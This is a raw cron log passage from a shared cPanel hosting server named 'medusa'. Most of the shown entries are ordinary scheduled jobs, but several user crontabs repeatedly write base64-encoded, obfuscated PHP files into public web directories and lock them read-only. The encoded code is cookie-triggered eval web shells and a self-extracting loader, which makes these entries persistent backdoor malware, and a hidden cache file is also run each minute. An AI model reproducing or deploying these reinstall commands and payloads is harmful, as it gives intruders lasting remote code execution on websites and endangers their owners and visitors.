x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:17:01 medusa CROND[5100]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:17:01 medusa CROND[5101]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:17:01 medusa CROND[5104]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 01:18:01 medusa CROND[9607]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:18:01 medusa CROND[9709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:18:01 medusa CROND[9787]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:18:01 medusa CROND[9788]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:18:01 medusa CROND[9789]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:18:01 medusa CROND[9790]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 01:18:01 medusa CROND[9791]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Mar  2 01:18:01 medusa CROND[9795]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:18:01 medusa CROND[9796]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:18:01 medusa CROND[9797]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:18:01 medusa CROND[9805]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 01:18:01 medusa CROND[9806]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:18:01 medusa CROND[9808]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:18:01 medusa CROND[9810]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:19:01 medusa CROND[15701]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:19:01 medusa CROND[15774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:19:01 medusa CROND[15775]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 01:19:01 medusa CROND[15776]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:19:01 medusa CROND[15777]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:19:01 medusa CROND[15782]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:19:01 medusa CROND[15783]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:19:01 medusa CROND[15785]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:19:01 medusa CROND[15786]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:19:01 medusa CROND[15799]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:19:01 medusa CROND[15800]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:19:01 medusa CROND[15802]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:20:01 medusa CROND[23508]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
